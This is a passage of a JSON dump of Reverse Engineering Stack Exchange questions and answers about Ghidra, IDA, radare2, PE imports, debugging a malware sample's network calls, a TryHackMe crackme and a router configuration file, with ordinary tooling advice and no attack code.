2<sup><em>e</em></sup></kbd> is the number of milliseconds:</p>\n<div class=\"s-table-container\">\n<table class=\"s-table\">\n<thead>\n<tr>\n<th style=\"text-align: right;\"><em>e</em></th>\n<th style=\"text-align: right;\"><em>n</em></th>\n<th style=\"text-align: right;\"><em>e</em></th>\n<th style=\"text-align: right;\"><em>n</em></th>\n<th style=\"text-align: right;\">(1 + <em>n</em>/2<sup>23</sup>) \u00d7 2<sup><em>e</em></sup></th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td style=\"text-align: right;\"><code>03</code></td>\n<td style=\"text-align: right;\"><code>200000</code></td>\n<td style=\"text-align: right;\">3</td>\n<td style=\"text-align: right;\">2097152</td>\n<td style=\"text-align: right;\">10</td>\n</tr>\n<tr>\n<td style=\"text-align: right;\"><code>09</code></td>\n<td style=\"text-align: right;\"><code>700000</code></td>\n<td style=\"text-align: right;\">9</td>\n<td style=\"text-align: right;\">7340032</td>\n<td style=\"text-align: right;\">960</td>\n</tr>\n<tr>\n<td style=\"text-align: right;\"><code>0A</code></td>\n<td style=\"text-align: right;\"><code>1B0000</code></td>\n<td style=\"text-align: right;\">10</td>\n<td style=\"text-align: right;\">1769472</td>\n<td style=\"text-align: right;\">1240</td>\n</tr>\n<tr>\n<td style=\"text-align: right;\"><code>0A</code></td>\n<td style=\"text-align: right;\"><code>160000</code></td>\n<td style=\"text-align: right;\">10</td>\n<td style=\"text-align: right;\">1441792</td>\n<td style=\"text-align: right;\">1200</td>\n</tr>\n<tr>\n<td style=\"text-align: right;\"><code>0B</code></td>\n<td style=\"text-align: right;\"><code>098000</code></td>\n<td style=\"text-align: right;\">11</td>\n<td style=\"text-align: right;\">622592</td>\n<td style=\"text-align: right;\">2200</td>\n</tr>\n<tr>\n<td style=\"text-align: right;\"><code>0F</code></td>\n<td style=\"text-align: right;\"><code>376600</code></td>\n<td style=\"text-align: right;\">15</td>\n<td style=\"text-align: right;\">3630592</td>\n<td style=\"text-align: right;\">46950</td>\n</tr>\n<tr>\n<td style=\"text-align: right;\"><code>0F</code></td>\n<td style=\"text-align: right;\"><code>347800</code></td>\n<td style=\"text-align: right;\">15</td>\n<td style=\"text-align: right;\">3438592</td>\n<td style=\"text-align: right;\">46200</td>\n</tr>\n<tr>\n<td style=\"text-align: right;\"><code>10</code></td>\n<td style=\"text-align: right;\"><code>038B00</code></td>\n<td style=\"text-align: right;\">16</td>\n<td style=\"text-align: right;\">232192</td>\n<td style=\"text-align: right;\">67350</td>\n</tr>\n<tr>\n<td style=\"text-align: right;\"><code>10</code></td>\n<td style=\"text-align: right;\"><code>040800</code></td>\n<td style=\"text-align: right;\">16</td>\n<td style=\"text-align: right;\">264192</td>\n<td style=\"text-align: right;\">67600</td>\n</tr>\n<tr>\n<td style=\"text-align: right;\"><code>10</code></td>\n<td style=\"text-align: right;\"><code>56A600</code></td>\n<td style=\"text-align: right;\">16</td>\n<td style=\"text-align: right;\">5678592</td>\n<td style=\"text-align: right;\">109900</td>\n</tr>\n<tr>\n<td style=\"text-align: right;\"><code>10</code></td>\n<td style=\"text-align: right;\"><code>573C00</code></td>\n<td style=\"text-align: right;\">16</td>\n<td style=\"text-align: right;\">5716992</td>\n<td style=\"text-align: right;\">110200</td>\n</tr>\n<tr>\n<td style=\"text-align: right;\"><code>10</code></td>\n<td style=\"text-align: right;\"><code>589A00</code></td>\n<td style=\"text-align: right;\">16</td>\n<td style=\"text-align: right;\">5806592</td>\n<td style=\"text-align: right;\">110900</td>\n</tr>\n<tr>\n<td style=\"text-align: right;\"><code>10</code></td>\n<td style=\"text-align: right;\"><code>58B300</code></td>\n<td style=\"text-align: right;\">16</td>\n<td style=\"text-align: right;\">5812992</td>\n<td style=\"text-align: right;\">110950</td>\n</tr>\n<tr>\n<td style=\"text-align: right;\"><code>13</code></td>\n<td style=\"text-align: right;\"><code>173240</code></td>\n<td style=\"text-align: right;\">19</td>\n<td style=\"text-align: right;\">1520192</td>\n<td style=\"text-align: right;\">619300</td>\n</tr>\n<tr>\n<td style=\"text-align: right;\"><code>13</code></td>\n<td style=\"text-align: right;\"><code>173880</code></td>\n<td style=\"text-align: right;\">19</td>\n<td style=\"text-align: right;\">1521792</td>\n<td style=\"text-align: right;\">619400</td>\n</tr>\n</tbody>\n</table>\n</div>"
    },
    {
        "Id": "31756",
        "CreationDate": "2023-04-06T16:02:15.920",
        "Body": "<p>I am currently attempting to reverse engineer a simple function from within a 16-Bit Windows 3.1 (NE) DLL, which from what I can tell is used to display a message box when required.</p>\n<p>I would assume that the two arguments of the <code>ShowMessageBox</code> function are used to set the Title and Message (this is a DLL so I assume it doesn't bother with a HWND?). I can see that those two parameters get passed in and are pushed to the stack, but can't quite work out how they are passed into the system call.</p>\n<p>Ghidra seems a little confused as the C source ignores the two parameters and passes in the two other values that are added into the stack (<code>0x41</code> and <code>0x41b</code>).</p>\n<p>I have added the following function signature into the MessageBox system call:</p>\n<pre><code>int MessageBox (HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, uint uType)\n</code></pre>\n<p>An example of the message box produced by this function is:</p>\n<p><a href=\"https://i.stack.imgur.com/KAkxM.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/KAkxM.png\" alt=\"Message Box Example\" /></a></p>\n<p>Any suggestions would be greatly appreciated.</p>\n<p>The assembly and Ghidra generated C source are included below.</p>\n<pre><code>**************************************************************\n*                          FUNCTION                          *\n**************************************************************\nvoid __cdecl16far ShowMessageBox(undefined param_1,undefined param_2)\n                       assume DS = 0x1008\n             void              &lt;VOID&gt;         &lt;RETURN&gt;\n             undefined         Stack[0x4]:1   param_1\n             undefined         Stack[0x6]:1   param_2                                  \n       1000:001c c8 00 00 00     ENTER      0x0,0x0\n       1000:0020 57              PUSH       DI\n       1000:0021 56              PUSH       SI\n       1000:0022 6a 00           PUSH       0x0\n       1000:0024 ff 76 08        PUSH       word ptr [BP + param_2]\n       1000:0027 ff 76 06        PUSH       word ptr [BP + param_1]\n       1000:002a 1e              PUSH       DS\n       1000:002b 68 1b 04        PUSH       0x41b\n       1000:002e 6a 41           PUSH       0x41\n       1000:0030 9a 5c 00        CALLF      USER::MessageBox\n                 18 10\n       1000:0035 e9 00 00        JMP        LAB_1000_0038\n\n</code></pre>\n<pre><code>void __cdecl16far ShowMessageBox(undefined param_1,undefined param_2)\n{\n  HWND unaff_CS;\n  \n  MessageBox(unaff_CS,(LPCTSTR)0x41,(LPCTSTR)0x41b,0x1008);\n  return;\n}\n\n</code></pre>\n<p>Thanks,\nJames.</p>\n",
        "Title": "Help disassembling a simple 16-bit NE function",
        "Tags": "|disassembly|windows|decompilation|ghidra|ne|",
        "Answer": "<p>As per the comment made by @blabb on his answer, I looked at the Win16 WINDOWS.H header file (from the Windows 3.1 Driver Development Kit (DDK)) to see which calling conventions were used for the Win16 API functions at the time.</p>\n<p>At the beginning of the file, the following macro is defined:</p>\n<p><code>#define WINAPI              _far _pascal</code></p>\n<p>This macro is then appended to the beginning of most of the functions in the file, for example:</p>\n<p><code>int     WINAPI MessageBox(HWND, LPCSTR, LPCSTR, UINT);</code></p>\n<p><code>UINT    WINAPI GetPrivateProfileInt(LPCSTR, LPCSTR, int, LPCSTR);</code></p>\n<p><code>LPSTR   WINAPI lstrcpy(LPSTR, LPCSTR);</code></p>\n<p>So it seems as though most of the Win16 API functions were defined with the Pascal calling convention, which explains why I can see the parameters being <code>PUSH</code>ed backwards onto the stack before the <code>CALL</code> instruction is utilised.</p>\n<p>So by implementing the function this way:</p>\n<p><a href=\"https://i.stack.imgur.com/aeR1K.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/aeR1K.png\" alt=\"Ghidra implementation of the WIN16 MessageBox function with the Pascal calling convention.\" /></a></p>\n<p>The parameters are pulled in correctly and the decompilation is accurate.</p>\n<p><a href=\"https://i.stack.imgur.com/sgJbz.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/sgJbz.png\" alt=\"Ghidra decompilation of the WIN16 MessageBox function using the Pascal calling convention.\" /></a></p>\n<p>Currently, I'm having to setup the parameter storage manually as Ghidra does not support the Pascal calling convention, an issue on GitHub has been opened here:  <a href=\"https://github.com/NationalSecurityAgency/ghidra/issues/496\" rel=\"nofollow noreferrer\">https://github.com/NationalSecurityAgency/ghidra/issues/496</a></p>\n"
    },
    {
        "Id": "31765",
        "CreationDate": "2023-04-11T12:52:49.573",
        "Body": "<p>Is it possible to force <a href=\"https://en.wikipedia.org/wiki/Interactive_Disassembler\" rel=\"nofollow noreferrer\">IDA</a> to show &quot;5 * 20&quot; instead of &quot;100&quot; in the below disassembled and decompiled lines?</p>\n<pre class=\"lang-none prettyprint-override\"><code>MOV     R1, #100  -&gt;  MOV     R1, #(5 * 20)\nLDR     R8, =var  |   LDR     R8, =var\nSTR     R1, [R8]  |   STR     R1, [R8]\n</code></pre>\n<p>Corresponding decompiled code:</p>\n<pre class=\"lang-none prettyprint-override\"><code>var = 100;        -&gt;  var = 5 * 20;\n</code></pre>\n",
        "Title": "How can I disassemble/decompile an immediate value to multiplication/summation of two values with IDA Pro?",
        "Tags": "|ida|disassembly|decompilation|arm|",
        "Answer": "<p>Right-click on the operand, click &quot;Manual...&quot;, enter the string &quot;5 * 20&quot;. Note that this only works in the disassembly listing, and that there is no comparable functionality in the decompilation.</p>\n"
    },
    {
        "Id": "31788",
        "CreationDate": "2023-04-15T12:34:15.640",
        "Body": "<p>I want to reverse engineer some 65816 code using Ghidra. Unfortunately the third-party 65816 language is broken. No problem, I can fix it myself. However, looking at the Ghidra error gives me no clue as to what the problem is. I've looked at the <code>.slaspec</code> and it appears to be correct so a verbose error would be helpful. The message mentions checking the log messages but I can't find anything.</p>\n<p>Is there a way to debug the problem with the language?</p>\n<p>Ghidra Error:</p>\n<pre><code>Errors compiling /home/rob/tools/ghidra_10.2.3_PUBLIC/Ghidra/Processors/65816/data/languages/65816.slaspec -- please check log messages for details\nghidra.app.plugin.processors.sleigh.SleighException: Errors compiling /home/rob/tools/ghidra_10.2.3_PUBLIC/Ghidra/Processors/65816/data/languages/65816.slaspec -- please check log messages for details\n    at ghidra.app.plugin.processors.sleigh.SleighLanguage.reloadLanguage(SleighLanguage.java:520)\n    at ghidra.app.plugin.processors.sleigh.SleighLanguage.initialize(SleighLanguage.java:150)\n    at ghidra.app.plugin.processors.sleigh.SleighLanguage.&lt;init&gt;(SleighLanguage.java:116)\n    at ghidra.app.plugin.processors.sleigh.SleighLanguageProvider.getNewSleigh(SleighLanguageProvider.java:112)\n    at ghidra.app.plugin.processors.sleigh.SleighLanguageProvider.getLanguage(SleighLanguageProvider.java:99)\n    at ghidra.program.util.DefaultLanguageService$LanguageInfo.lambda$getLanguage$0(DefaultLanguageService.java:385)\n    at ghidra.util.task.TaskBuilder$TaskBuilderTask.run(TaskBuilder.java:306)\n    at ghidra.util.task.Task.monitoredRun(Task.java:134)\n    at ghidra.util.task.TaskRunner.lambda$startTaskThread$0(TaskRunner.java:106)\n    at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1136)\n    at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)\n    at java.base/java.lang.Thread.run(Thread.java:833)\n\n</code></pre>\n<p><a href=\"https://github.com/achan1989/ghidra-65816\" rel=\"nofollow noreferrer\">65816 language support</a></p>\n<p><a href=\"http://www.zimmers.net/anonftp/pub/cbm/firmware/misc/cmd/scpu-dos-1.4.bin\" rel=\"nofollow noreferrer\">Example binary</a></p>\n",
        "Title": "Debug problem with Ghidra 3rd party language",
        "Tags": "|ghidra|java|",
        "Answer": "<p>I see that there were some problems with released versions up to 1.02. With latest changes I had no problem loading your example binary.\n<a href=\"https://github.com/achan1989/ghidra-65816/commit/6df2b00cf27af4bc3c259cf499ca2ea9b6f92522\" rel=\"nofollow noreferrer\">https://github.com/achan1989/ghidra-65816/commit/6df2b00cf27af4bc3c259cf499ca2ea9b6f92522</a></p>\n"
    },
    {
        "Id": "31793",
        "CreationDate": "2023-04-17T00:05:17.033",
        "Body": "<p>I am attempting to reverse-engineer a 16-Bit DOS MZ executable.</p>\n<p>The file contains many different strings, most of which are printed out to the console at various points.</p>\n<p>IDA seems to be able to pick up the locations from which the strings are utilised, for example:</p>\n<p><a href=\"https://i.stack.imgur.com/sMBVr.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/sMBVr.png\" alt=\"IDA String Information\" /></a></p>\n<p>Clicking on this reference shows the code that utilises the string, which I assume passes it into the function (sub 1462) which prints it out to the screen.</p>\n<p><a href=\"https://i.stack.imgur.com/49bhe.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/49bhe.png\" alt=\"Code that utilises the above string\" /></a></p>\n<p>When I attempt to analyse the same code in Ghidra, it is unable to pickup the same strings. I have manually gone to the location shown in IDA, and setup the &quot;print&quot; (sub 1462) function in this way:</p>\n<p><a href=\"https://i.stack.imgur.com/7MPDq.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/7MPDq.png\" alt=\"PrintString Function Definition\" /></a></p>\n<p>So I would expect the decompiler to show the string, however it doesn't seem to pick it up:</p>\n<p><a href=\"https://i.stack.imgur.com/J2UPA.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/J2UPA.png\" alt=\"Print String Function in Ghidra Decompiler\" /></a></p>\n<p><a href=\"https://i.stack.imgur.com/i5m40.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/i5m40.png\" alt=\"Print String Function in Ghidra Decompiler\" /></a></p>\n<p>I'm assuming that this has something to do with the stack pointer being set (or assumed to be) an incorrect value? However, Ghidra seems to locate this string at a different location to IDA:</p>\n<p><a href=\"https://i.stack.imgur.com/WXiy0.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/WXiy0.png\" alt=\"IDA String Location\" /></a></p>\n<p>Thanks,\nJames.</p>\n",
        "Title": "Ghidra 16-Bit DOS Strings",
        "Tags": "|ghidra|strings|dos|dos-exe|",
        "Answer": "<p>I managed to solve this one myself thanks to @Blabb's comment (thanks again!).</p>\n<p>The first identifiable string was <code>MS Run-Time Library - Copyright (c) 1992, Microsoft Corp</code>.</p>\n<p>For some reason, this managed to throw Ghidra off, and it added just this string to a memory segment of its own. This, therefore, offset all of the other strings as they were pushed down into their own memory segment, causing the incorrect offsets.</p>\n<p>To solve this, I used Ghidra's Memory Manager to remove the two memory segments, and then create a new one with all the strings combined.</p>\n<p>Before:\n<a href=\"https://i.stack.imgur.com/z51td.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/z51td.png\" alt=\"Ghidra Memory Map before changes\" /></a>\nAfter:\n<a href=\"https://i.stack.imgur.com/V5mgX.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/V5mgX.png\" alt=\"Ghidra Memory Map after changes\" /></a></p>\n<p>As a result of these changes, and with the DS register set to the correct offset, the string now shows in the decompiler window.</p>\n<p><a href=\"https://i.stack.imgur.com/heyE8.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/heyE8.png\" alt=\"Strings showing in the Ghidra decompilation window\" /></a></p>\n"
    },
    {
        "Id": "31795",
        "CreationDate": "2023-04-17T08:42:47.533",
        "Body": "<p>There is a structure with size of 16-Bytes, and an array of it is defined.\nThe disassembly code for navigation through the array is:</p>\n<pre><code>MOV     i, i,LSL#4\nLDR     R4, =arr_of_struct \nADD     i, i, R4\nLDR     var, [i] \n</code></pre>\n<p>But the decompiled code is:</p>\n<pre><code>var = arr_of_struct[4 * i];\n</code></pre>\n<p>Which is wrong and should be:</p>\n<pre><code>var = arr_of_struct[4 * i].field_0;\n</code></pre>\n<p>I think the problem is in first line of disassembly <code>MOV   i, i,LSL#4</code>. Obviously it is multiplying the array index by 16 which is the size of my struct. But IDA translated this line to <code>[4 * i]</code> !!!</p>\n<p>So the first question is what's the reason of this behavior in IDA?\nAnd the second is how can I fix this?</p>\n<p>EDIT:\nMore information:</p>\n<p><a href=\"https://i.stack.imgur.com/ZvbuD.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/ZvbuD.jpg\" alt=\"enter image description here\" /></a></p>\n",
        "Title": "IDA Decompiler generates wrong output on array of structures!",
        "Tags": "|decompilation|hexrays|struct|array|",
        "Answer": "<p>I found the solution for this issue, and post it here hope help someone someday...</p>\n<p>I undefined the &quot;arr_of_struct&quot; (Ctrl+U), undefined both the array and also the structure variable:</p>\n<p><a href=\"https://i.stack.imgur.com/cD6cv.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/cD6cv.jpg\" alt=\"enter description here\" /></a> <strong>====&gt;</strong>  <a href=\"https://i.stack.imgur.com/hmaq8.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/hmaq8.jpg\" alt=\"enter image description here\" /></a></p>\n<p>The output changed to deal with the undefined variable:</p>\n<p><a href=\"https://i.stack.imgur.com/7ZkXx.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/7ZkXx.jpg\" alt=\"enter image description here\" /></a></p>\n<p>Declare struct variable again (Alt+Q), and define its location as an array (Pressing *), and the output changed to the right and expected shape:</p>\n<p><a href=\"https://i.stack.imgur.com/ksHRL.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/ksHRL.jpg\" alt=\"enter image description here\" /></a></p>\n<p>Now I know how to fix it, but the first question is still remains:</p>\n<p><strong>What's the reason of this behavior in IDA? Is there a sequence needed to consider while defining array of structures?</strong></p>\n"
    },
    {
        "Id": "31804",
        "CreationDate": "2023-04-20T11:35:02.263",
        "Body": "<p>more detailed see <a href=\"https://github.com/radareorg/radare2/issues/21585#issuecomment-1506947579\" rel=\"nofollow noreferrer\">this</a></p>\n<p>In short, I want to skip syscall when recording program, but it seems that the program would always stop after ths syscall.</p>\n<p>Hope someone can help me. Thanks.</p>\n<p>below is running results:</p>\n<pre class=\"lang-bash prettyprint-override\"><code>$ git rev-parse origin/master\n093d583000f9f78ec1a4d8643cb59e465a0ede7c\n$ git diff origin/master \ndiff --git a/libr/main/radare2.c b/libr/main/radare2.c\nindex 2bc1cb68f9..15ce049d9c 100644\n--- a/libr/main/radare2.c\n+++ b/libr/main/radare2.c\n@@ -1706,7 +1706,7 @@ R_API int r_main_radare2(int argc, const char **argv) {\n                        debug = r_config_get_b (r-&gt;config, &quot;cfg.debug&quot;);\n                        if (ret != -1 &amp;&amp; r_cons_is_interactive ()) {\n                                char *question;\n-                               bool no_question_debug = ret &amp; 1;\n+                               bool no_question_debug = 1;\n$ r2 -NAd -c &quot;db main;dts+;db;dc;dr rip;pd-- 4&quot; /mnt/ubuntu/home/czg/csapp3e/asm/prog\n...\n0x00401060 - 0x00401061 1 --x sw break enabled valid cmd=&quot;&quot; cond=&quot;&quot; name=&quot;main&quot; module=&quot;/mnt/ubuntu/home/czg/csapp3e/asm/prog&quot;\n0x7fbe6445b08b\n            0x7fbe6445b07e      6690           nop\n            ; CALL XREF from map._usr_lib_ld_linux_x86_64.so.2.r_x @ +0x198ae(x)\n            ; CALL XREFS from rip @ +0x5238(x), +0x5252(x)\n            0x7fbe6445b080      f30f1efa       endbr64\n            0x7fbe6445b084      b80c000000     mov eax, 0xc            ; 12\n            0x7fbe6445b089      0f05           syscall\n            0x7fbe6445b08b      488905e64101.  mov qword [0x7fbe6446f278], rax ; [0x7fbe6446f278:8]=0\n            0x7fbe6445b092      4839f8         cmp rax, rdi\n        ,=&lt; 0x7fbe6445b095      7209           jb 0x7fbe6445b0a0\n        |   0x7fbe6445b097      31c0           xor eax, eax\n[0x7fdcd2e4908b]&gt; ds\n[0x7fdcd2e4908b]&gt; dr rip\n0x7fdcd2e49092\n</code></pre>\n<p>Best regards</p>\n",
        "Title": "Can radare2 skip syscall when `db main;dts+;dc`",
        "Tags": "|debugging|radare2|",
        "Answer": "<p>I have answered in the github ticket. But I'm copypasting the answer for practical reasons :9\nThat's the oneliner you want:</p>\n<p><code>r2 -c \u201cdcu main;e dbg.trace=true;dsu -1;dt\u201d -d /bin/ls</code></p>\n<p>Some comments below:</p>\n<ul>\n<li>The dts+ command is used for stepback and dumps/records the state of memory in disk for every step which is not what you want</li>\n<li>dbg.swstep is causing an stack exhaustion if you try to run the whole program ( i need to fix this )</li>\n<li>dsu -1 is the only way you have to perform step until the program is gone. a helper command under <code>dc</code> would be easier to spot</li>\n<li>You cant pass flags after the -d</li>\n<li>No need to analyze the program or avoid home scripts (-NA)</li>\n<li>Use the dtj command to log the traces in json format if you want to post process the execution information</li>\n<li>I would recommend disabling ASLR if you want to do multiple traces and compare them</li>\n</ul>\n<p>Also, bear in mind that you can't use <code>dtd</code> if you run the traces until the program dies, because there will be no memory allocated and you cant disassemble . better to continue until a specific address or exit syscall or so.</p>\n<p>Another thing is that you are tracing EVERYTHING so you probably want to see other vars like dbg.trace.inrange or dbg.trace.libs to avoid recording instructions from libraries or from sections of the binary that you dont need.</p>\n"
    },
    {
        "Id": "31819",
        "CreationDate": "2023-04-24T16:21:55.533",
        "Body": "<p>I'm reverse engineering a malware that at some point tries to connect to <code>http://api.ipify.org</code> in order to get the IP address of the infected PC.</p>\n<p>I was able to replicate this behaviour with a small Python script, but for some reason, I can't get the same result when debugging the malware (in my dynamic-analysis VM using <strong>x32dbg</strong>), due to the fact that execution hangs indefinitely inside <code>HttpSendRequestA</code>.</p>\n<p>I tried to trace the execution flow inside that API, and the reason of the hang is a call to <code>WaitForSingleObjectEx</code> in <strong>wininet.dll</strong> (so, nothing to do with the malware itself).</p>\n<p>If I try to patch the <code>dwMilliseconds</code> param of <code>WaitForSingleObjectEx</code> (causing a timeout) I can get further to the execution, but eventually I get stuck another time when the malware tries to perform another http request.</p>\n<p>I tried to run this sample on another dynamic-analysis VM with Fakenet-ng installed and I can't even see the attempt to perform the http requests from the log.</p>\n<p>In both VMs the network is online.</p>\n<p>Am I missing something obvious here?</p>\n<p><strong>EDIT:</strong></p>\n<p>I tried to run the malware outside the debugger (still in a VM with fakenet) and I see the http requests from the log! So the issue described here <strong>only happens when running INSIDE the debugger</strong>. Still, I don't think that this is an anti-debugging trick: I have reverse-engineered and documented EVERY function of this malware and I haven't found any anti-debugging stuff.</p>\n<p><strong>EDIT2:</strong></p>\n<p>It seems that this user had the same issue (usign a different debugger):</p>\n<p><a href=\"https://reverseengineering.stackexchange.com/questions/19431/ollydbg-runs-away-when-stepping-over-wininet-httpsendrequestw\">OllyDbg &quot;runs away&quot; when stepping over wininet.HttpSendRequestW</a></p>\n<p><strong>EDIT3:</strong></p>\n<p>Found a workaround (described in the answer bellow)</p>\n",
        "Title": "Malware analysis - Debugger hangs at HttpSendRequestA",
        "Tags": "|windows|debugging|malware|x64dbg|networking|",
        "Answer": "<p>I don't know if it's still a problem for you, but it might be related to this:</p>\n<p><a href=\"https://learn.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-best-practices\" rel=\"nofollow noreferrer\">https://learn.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-best-practices</a></p>\n<p>and more particularly this sentence:</p>\n<p>&quot;Improper synchronization within DllMain can cause an application to deadlock or access data or code in an uninitialized DLL. Calling certain functions from within DllMain causes such problems.&quot;</p>\n<p>So my guess is that the malware you're debugging is trying to call HttpSendRequestA before it exits DllMain ?</p>\n"
    },
    {
        "Id": "31820",
        "CreationDate": "2023-04-24T17:26:58.863",
        "Body": "<p>I am doing TryHackMe REloaded room, level 3.</p>\n<p>When I got stuck I followed <a href=\"https://0xcd4.medium.com/reverse-engineering-reloaded-ctf-35558cec4b5e\" rel=\"nofollow noreferrer\">this</a> tutorial which mentions an XOR by 7 operation being performed on a string, however I cannot see it anywhere.</p>\n<p>Where is it happening in the below image from IDA Free?</p>\n<p><a href=\"https://i.stack.imgur.com/oBsjy.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/oBsjy.jpg\" alt=\"Where is the XOR?\" /></a></p>\n<p>The call highlighted in yellow above:</p>\n<p><a href=\"https://i.stack.imgur.com/jzvn6.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/jzvn6.jpg\" alt=\"Sub function\" /></a></p>\n",
        "Title": "Where is the XOR operation?",
        "Tags": "|ida|assembly|breakpoint|crackme|xor|",
        "Answer": "<p>Please read the tutorial carefully.</p>\n<p>Moreover, the pictures you provided don't say anything. As correctly noted in the comments -- without the file itself being investigated -- we have no way to help you.</p>\n<p>Here's another picture for you\n<a href=\"https://i.stack.imgur.com/5Sm61.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/5Sm61.png\" alt=\"enter image description here\" /></a></p>\n<hr />\n<p>Gist: <a href=\"https://gist.github.com/isira-adithya/8ab4a2d6374708418cef7c2b10b8de56\" rel=\"nofollow noreferrer\">TryHackMe - REloaded (Writeup by Isira Adithya)</a></p>\n<p><a href=\"https://tryhackme.com/room/reloaded\" rel=\"nofollow noreferrer\">Link to the Room</a></p>\n"
    },
    {
        "Id": "31834",
        "CreationDate": "2023-05-01T15:36:30.467",
        "Body": "<p>Are there any tools that can &quot;record&quot; the memory space of a process and then be able to restore it from a certain timestamp? As in, the process is recreated in the exact same state as if &quot;loading a saved game&quot;.</p>\n<p>Context is that of a game that crashes either while attempting to save/load a game or certain conditions are met (e.g. unit count &gt; 5000). There are no debug logs.</p>\n",
        "Title": "Load process from memory dump",
        "Tags": "|memory|memory-dump|",
        "Answer": "<p>What you want exists and is known -- among other terms -- under the term &quot;time travel debugging&quot; (TTD), &quot;replay debugging&quot; and &quot;record and replay debugging&quot;. Your processor needs to support it.</p>\n<ul>\n<li>WinDbgX (the one from the MS store) <a href=\"https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/time-travel-debugging-overview\" rel=\"nofollow noreferrer\">has support</a> for that (i.e. <code>winget install -e --id Microsoft.WinDbg</code>).</li>\n<li>GDB also <a href=\"https://sourceware.org/gdb/onlinedocs/gdb/Process-Record-and-Replay.html\" rel=\"nofollow noreferrer\">has support</a> for it.</li>\n<li><a href=\"https://rr-project.org/\" rel=\"nofollow noreferrer\">rr</a> is even dedicated to the whole concept.</li>\n<li>VMware used to include the feature called &quot;replay debugging&quot; for a few major versions; unfortunately it got scrapped.</li>\n</ul>\n<p><strong>However, it's not possible to take <em>a mere memory dump</em> and &quot;revive&quot; a process based on that.</strong> The record &amp; replay method involves a whole lot more than just the memory state. Also, memory dumps often are only an excerpt of the full memory space of a process.</p>\n"
    },
    {
        "Id": "31840",
        "CreationDate": "2023-05-04T12:52:26.823",
        "Body": "<p>I am attempting to understand the PE File Format and I have come across an unexpected value in the <em>IMAGE_THUNK_DATA</em> Array.<br><br></p>\n<p>Here are the file details:<br>\nMD5: d82d3e003eb5c728d584e22ce7f36fbf<br>\nFile Name: ChromeSetup.exe\nLink: hxxps://www[.]google[.]com/chrome/thank-you.html?platform=win64&amp;statcb=1&amp;installdataindex=empty&amp;defaultbrowser=0</p>\n<p>(After some testing, I found out that the hash changes but the issue is the same.)</p>\n<p>The issue I'm facing is that in one of the DLLs that is present, the <em>IMAGE_THUNK_DATA</em> structure contains an additional DWORD that is out-of-bounds. Here's the attached screenshot:<br><br><a href=\"https://i.stack.imgur.com/gk95c.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/gk95c.png\" alt=\"Out-of-Bounds DWORD\" /></a>:</p>\n<p>That first block i.e. (48fe 0100), resolves perfectly to &quot;SHGetFolderPathW&quot;. But that second block (a8020080) is out of bounds - adjusting for endian format, we get 0x800002a8 - but the file itself is present up till 0x14DE2A (verified via 010 Editor and xxd). The third block signifies the end of the <em>IMAGE_THUNK_DATA</em> array so no issues there.</p>\n<p>I've checked using 010 Editor and it shows &quot;SHGetFolderPathW&quot; as the only function imported from SHELL32.dll. I'd greatly appreciate some help understanding why that second block is present if no function name resolves to that address, which is out-of-bounds by itself?</p>\n",
        "Title": "Unexpected value present in IMAGE_THUNK_DATA array",
        "Tags": "|pe|",
        "Answer": "<p>As I commented if the Most significant Bit (31 for x86 or  63 for x64)<br />\nis set then the import is done by ordinal and no name lookup is done.</p>\n<p>the msdn article by matt pietrek is still gold but if you need a latest reference<br />\n<a href=\"https://learn.microsoft.com/en-us/windows/win32/debug/pe-format#import-lookup-table\" rel=\"nofollow noreferrer\">PE FORMAT IMPORT LOOKUP TABLE SECTION</a></p>\n<p>ordinals can change be added  be removed  or be converted to name lookup</p>\n<p>in an x64 win 10 machine using dumpbin from vs i can see shell32 export ordinal number 680 is the function IsUserAnAdmin()</p>\n<pre><code>dumpbin /exports c:\\Windows\\System32\\shell32.dll | grep -iE &quot;ordinal hint| 680&quot;\n    ordinal hint RVA      name\n        680   57 002752A0 IsUserAnAdmin\n</code></pre>\n"
    },
    {
        "Id": "31848",
        "CreationDate": "2023-05-09T06:37:42.927",
        "Body": "<p>I need support to decrypt the config file of ZTE F660 v9 router. I have telnet access to the router and the below link consists of the following files.</p>\n<p><a href=\"https://drive.google.com/drive/u/2/folders/1cYJDqzNzU14MgI8yMwobdvhmogpGjv0e\" rel=\"nofollow noreferrer\">Link</a></p>\n<p>config.bin,\nparamtag,\ncspd,\ndb_user_cfg.xml,\ndb_backup_cfg.xml</p>\n",
        "Title": "Decrypt the config file of ZTE F660 v9",
        "Tags": "|decryption|router|",
